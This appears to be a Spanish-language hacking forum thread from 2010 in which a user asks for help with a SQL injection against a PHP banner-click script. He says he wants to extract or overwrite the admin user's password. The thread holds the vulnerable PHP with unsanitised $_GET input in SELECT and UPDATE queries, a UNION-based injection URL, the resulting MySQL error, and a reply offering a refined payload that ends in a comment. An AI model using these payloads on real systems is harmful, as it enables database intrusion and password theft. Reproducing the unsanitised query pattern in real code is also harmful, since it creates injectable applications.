Ayuda SQL INYECTION!

Iniciado por baran0wa, 21 Octubre 2010, 02:24 AM

0 Miembros y 1 Visitante están viendo este tema.

baran0wa

Buenas gente estoy haciendo unas pruebas de sql inyection y no encuentro como hacerlo andar... tengo la certeza de que se puede... pero no puedo hacerlo funcionar!!

El PHP que estoy usando es el siguiente:

<?
$id=$_GET[id];

include("config.php");
include("includes/mysql.php");
$Db1 = new DB_sql;
$Db1->connect($DBHost, $DBDatabase, $DBUser, $DBPassword);

$sql=$Db1->query("SELECT * FROM banners WHERE id='$id'");
$banner=$Db1->fetch_array($sql);
$sql=$Db1->query("UPDATE banners SET clicks=clicks+1 WHERE id='$id'");

$Db1->sql_close();

header("Location: $banner[target]");
exit;
?>


La base tiene varias tablas, el PHP anterior consulta la tabla banners que tiene la siguiente estructura:

CREATE TABLE IF NOT EXISTS `banners` (
  `id` int(11) NOT NULL auto_increment,
  `title` text NOT NULL,
  `size` int(11) NOT NULL default '0',
  `target` text NOT NULL,
  `banner` text NOT NULL,
  `views` int(11) NOT NULL default '0',
  `clicks` int(11) NOT NULL default '0',
  `credits` int(11) NOT NULL default '0',
  `dsub` text NOT NULL,
  `username` varchar(25) NOT NULL default '',
  `pref` varchar(30) NOT NULL default '',
  `forbid_retract` int(11) NOT NULL default '0',
  `daily_limit` int(11) NOT NULL,
  `views_today` int(11) NOT NULL,
  PRIMARY KEY  (`id`),
  KEY `pref` (`pref`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;


Mi intencion es hacer un query y obtener la password del usuario "admin" o hacerle un update. La consulta que estoy haciendo busca un id inexistente y despues "trato" de hacer una union:

http://localhost/test.php?id=144440' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14 from user where '1

Supuestamente debería funcionar pero como hay un SELECT y despues un UPDATE y ambos hacen uso de la misma variable termina dando error y no puedo obtener nada :(

Database error: Invalid SQL: UPDATE banners SET clicks=clicks+1 WHERE id='144440' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16 from user where '1'
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16 from user where '' at line 1)
Session halted.


Como ven el primer SELECT supuestamente lo esta haciendo, pero muero en el UPDATE...

Si alguien me puede poner un poco de luz en el camino se va a agradecer!!!


xassiz~

Prueba:

Código (SQL) [Seleccionar]
' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14 FROM user WHERE id='1' --

tragantras

el contexto en el que estás realizando tu operacion select es el de una operación update.

El uso de "union all select" solo es posible cuando la operación está realizando una consulta con "select", es decir, tu no peudes hacer

UPDATE banners SET clicks=clicks+1 WHERE id='144440' UNION ALL SELECT 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16 from user where '1'

porque estás haciendo un UPDATE primero y luego intentas concatenar con un SELECT.



Colaboraciones:
1 2